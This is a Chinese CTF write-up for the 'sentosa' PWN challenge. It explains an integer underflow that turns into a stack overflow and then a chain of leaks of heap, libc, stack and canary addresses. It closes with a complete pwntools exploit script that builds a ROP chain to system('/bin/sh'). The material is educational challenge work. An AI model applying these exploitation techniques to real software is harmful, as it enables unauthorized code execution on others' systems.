欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

攻防世界PWN之sentosa题解

程序员文章站 2022-04-25 20:42:51
...

Sentosa

首先,检查一下程序的保护机制

攻防世界PWN之sentosa题解

然后,我们用IDA分析一下,一个经典的增删改查程序

攻防世界PWN之sentosa题解

经过分析,程序中不存在堆溢出漏洞,唯一的漏洞在这里

攻防世界PWN之sentosa题解

如果a20,就会造成输入长度无限制,因为0-1变成-1,传给read,而read的size参数为无符号数,导致-1转换成无符号数,很大,可以无限制输入。

最终造成create函数里栈溢出,覆盖v6指针

如果a20,就会造成输入长度无限制,因为0-1变成-1,传给read,而read的size参数为无符号数,导致-1转换成无符号数,很大,可以无限制输入。

最终造成create函数里栈溢出,覆盖v6指针

攻防世界PWN之sentosa题解

而v6指针是什么呢?

攻防世界PWN之sentosa题解

V6是堆指针,我们溢出后覆盖成其他地址被保存到global_heaps里面,我们可以实现任意地址读写

我们要泄露libc地址,获取需要的函数,因此,我们需要利用unsorted bin,那么就需要伪造unsorted bin范围的chunk。当我们伪造好了fake_chunk,我们就要想办法free掉它,这就需要利用栈溢出覆盖v6指针为fake_chunk的地址,这样,我们下一次就能free它了。因此,我们首先得泄露堆地址。

由于不存在UAF,因此,我们利用栈溢出覆盖v6指针为释放后的chunk的地址,然后show就可以泄露出堆地址了。

由于输入的size0会造成无限输入,因此我们需要用’\n’结束输入,而\n会被替换成’\x00’,也就是说,我们最先不知道堆地址的情况下,想要泄露堆地址,就得使用低1字节覆盖。而低1字节注定为0,那么,也就是我们最终会让v6指向chunk0,那么,我们就得让chunk0里留下堆指针才行,因此,我们先释放其他chunk,将chunk0的释放放到后面,由于fastbin采用头插法链接chunk,因此在chunk0的fd域就会留下指针

  1. #0  
  2. create(0x3,'a'*0x2)  
  3. #1  
  4. create(0x3,'b'*0x2)  
  5. #2  
  6. create(0x3,'c'*0x2)  
  7. #3  
  8. create(0x3,'d'*0x2)  
  9. #4  
  10. create(0x3,'e'*0x2)  
  11.   
  12. delete(1)  
  13. delete(0)  
  14. delete(2)  
  15. #覆盖堆指针低位为0,使得它指向chunk0chunk0里保存着堆指针,可以供我们泄露  
  16. create(0,'a'*0x5A) #chunk2重新申请回来  
  17. #泄露堆地址  
  18. show()  
  19. sh.recvuntil('Capacity: ')  
  20. h = int(sh.recvuntil('\n',drop = True))  
  21. if h < 0:  
  22.    h = 0x100000000 + h  
  23. heap_addr = (0x55 << 4 * 8) + h << 8  
  24. print 'heap_addr=',hex(heap_addr)  

接下来,我们就要伪造unsorted bin范围的chunk了,为了能够free这个fake_chunk,我们还得精心构造,绕过程序中的这个检测

攻防世界PWN之sentosa题解

并且,空字节不会被写到堆里,因为程序中使用了strncpy,遇到’\x00’就会截断,因此,伪造这个fake_chunk需要精心考虑

攻防世界PWN之sentosa题解

如下,我们控制price0x1000,使得我们在这个chunk里伪造的fake_chunk正好满足程序的要求,即fake_chunk + *fake_chunk + 5 = 1

  1. #1,size = 0x20 + 0x80 = 0xA0  
  2. fake_chunk = 'd'*4 + '\xA1'  
  3. #控制price的值,使得符合位置为1,绕过检查  
  4. create(0xB,fake_chunk,0x10000)  
  5. #2  
  6. create(0x59,'f'*0x58)  
  7. #5  
  8. create(0x59,'g'*0x58)  
  9. #6  
  10. #覆盖堆指针低位为0,使得它指向我们伪造的fake_chunk  
  11. create(0,'a'*0x5A + p64(heap_addr + 0xC0))  
  12. #fake_chunk放入unsorted bin  
  13. delete(6)  
  14. #覆盖堆指针低位,使得它指向我们伪造的fake_chunk,因为此时fake_chunk里面有libc指针  
  15. create(0,'b'*0x5A + p64(heap_addr + 0xC0-4)) #6  
  16. #泄露libc指针  
  17. show()  
  18. sh.recvuntil('Project: ggggggggggggggg')  
  19. sh.recvuntil('Project: ')  
  20. main_arena_xx = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00'))  
  21. malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)  
  22. libc_base = malloc_hook_addr - malloc_hook_s  
  23. environ_addr = libc_base + environ  
  24. system_addr = libc_base + system_s  
  25. binsh_addr = libc_base + binsh_s  
  26. pop_rdi_addr = libc_base + pop_rdi  
  27. print 'libc_base=',hex(libc_base)  
  28. print 'environ_addr=',hex(environ_addr)  

现在,我们还差canary了,我们只要有了canary的值,就可以用栈溢出做ROP了。那么,我们需要泄露栈地址,而libc中的environ变量保存着栈地址,我们利用栈溢出把v6指针覆盖为environ的地址后show,就能得到栈地址。然后,我们计算出canary存放的位置,用同样的方法泄露canary后栈溢出ROP即可getshell。

  1. #同理,接下来,我们覆盖堆指针为environ_addr附近,这样我们可以泄露栈里面的内容  
  2. #需要注意的是,由于有了unsorted bin,我们新申请的块会从unsorted bin里面切割,导致show的时候发生错误  
  3. #因此,我们delete(3),让我们申请的块直接拿fastbin里面的chunk3来,而不从unsorted bin里面切割  
  4. delete(3)  
  5. create(0,'b'*0x5A + p64(environ_addr-4))  
  6. show()  
  7. sh.recvuntil('Project: fffffffffffffff')  
  8. sh.recvuntil('Project: ')  
  9. stack_addr = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00'))  
  10. print 'stack_addr=',hex(stack_addr)  

我们最终的exp脚本

#coding:utf8
from pwn import *

sh = process('./sentosa')
#sh = remote('111.198.29.45',36218)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
malloc_hook_s = libc.symbols['__malloc_hook']
#借助environ,我们可以泄露栈地址
environ = libc.symbols['environ']
system_s = libc.sym['system']
binsh_s = libc.search('/bin/sh').next()
pop_rdi = 0x21102

def create(size,name,price=0, area=0, capacity=0):
   sh.sendlineafter('5. Exit','1')
   sh.sendlineafter('Input length of your project name:',str(size))
   sh.sendlineafter('Input your project name:',name)
   sh.sendlineafter('Input your project price:',str(price))
   sh.sendlineafter('Input your project area:',str(area))
   sh.sendlineafter('Input your project capacity:',str(capacity))

def show():
   sh.sendlineafter('5. Exit','2')

def delete(index):
   sh.sendlineafter('5. Exit','4')
   sh.sendlineafter('Input your projects number:',str(index))
#0
create(0x3,'a'*0x2)
#1
create(0x3,'b'*0x2)
#2
create(0x3,'c'*0x2)
#3
create(0x3,'d'*0x2)
#4
create(0x3,'e'*0x2)

delete(1)
delete(0)
delete(2)
#覆盖堆指针低位为0,使得它指向chunk0,chunk0里保存着堆指针,可以供我们泄露
create(0,'a'*0x5A) #chunk2重新申请回来
#泄露堆地址
show()
sh.recvuntil('Capacity: ')
h = int(sh.recvuntil('\n',drop = True))
if h < 0:
   h = 0x100000000 + h
heap_addr = (0x55 << 4 * 8) + h << 8
print 'heap_addr=',hex(heap_addr)
#1,size = 0x20 + 0x80 = 0xA0
fake_chunk = 'd'*4 + '\xA1'
#控制price的值,使得符合位置为1,绕过检查
create(0xB,fake_chunk,0x10000)
#2
create(0x59,'f'*0x58)
#5
create(0x59,'g'*0x58)
#6
#覆盖堆指针低位为0,使得它指向我们伪造的fake_chunk
create(0,'a'*0x5A + p64(heap_addr + 0xC0))
#fake_chunk放入unsorted bin
delete(6)
#覆盖堆指针低位,使得它指向我们伪造的fake_chunk,因为此时fake_chunk里面有libc指针
create(0,'b'*0x5A + p64(heap_addr + 0xC0-4)) #6
#泄露libc指针
show()
sh.recvuntil('Project: ggggggggggggggg')
sh.recvuntil('Project: ')
main_arena_xx = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
environ_addr = libc_base + environ
system_addr = libc_base + system_s
binsh_addr = libc_base + binsh_s
pop_rdi_addr = libc_base + pop_rdi
print 'libc_base=',hex(libc_base)
print 'environ_addr=',hex(environ_addr)
#同理,接下来,我们覆盖堆指针为environ_addr附近,这样我们可以泄露栈里面的内容
#需要注意的是,由于有了unsorted bin,我们新申请的块会从unsorted bin里面切割,导致show的时候发生错误
#因此,我们delete(3),让我们申请的块直接拿fastbin里面的chunk3来,而不从unsorted bin里面切割
delete(3)
create(0,'b'*0x5A + p64(environ_addr-4))
show()
sh.recvuntil('Project: fffffffffffffff')
sh.recvuntil('Project: ')
stack_addr = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00'))
print 'stack_addr=',hex(stack_addr)
#定位canary的位置,注意的是在canary前面那个地址要至少有3字节0,和canary的最后一字节0,组成4字节数据,代表chunk的大小为0
#不然要出错,因此,我们找到了这个地方有一个符合的
canary_addr = stack_addr - 0x130
print 'canary_addr=',hex(canary_addr)
#用同样的方法泄露canary
delete(4)
create(0,'b'*0x5A + p64(canary_addr-3))
show()
sh.recvuntil('Project: fffffffffffffff')
sh.recvuntil('Project: ')
sh.recvuntil('Project: ')
canary = u64('\x00' + sh.recvuntil('\n',drop = True))
print 'canary=',hex(canary)
#栈溢出,构造ROP
payload = 'a'*0x68 + p64(canary) + p64(0)*5 + p64(pop_rdi_addr) + p64(binsh_addr) + p64(system_addr)
create(0,payload)

sh.interactive()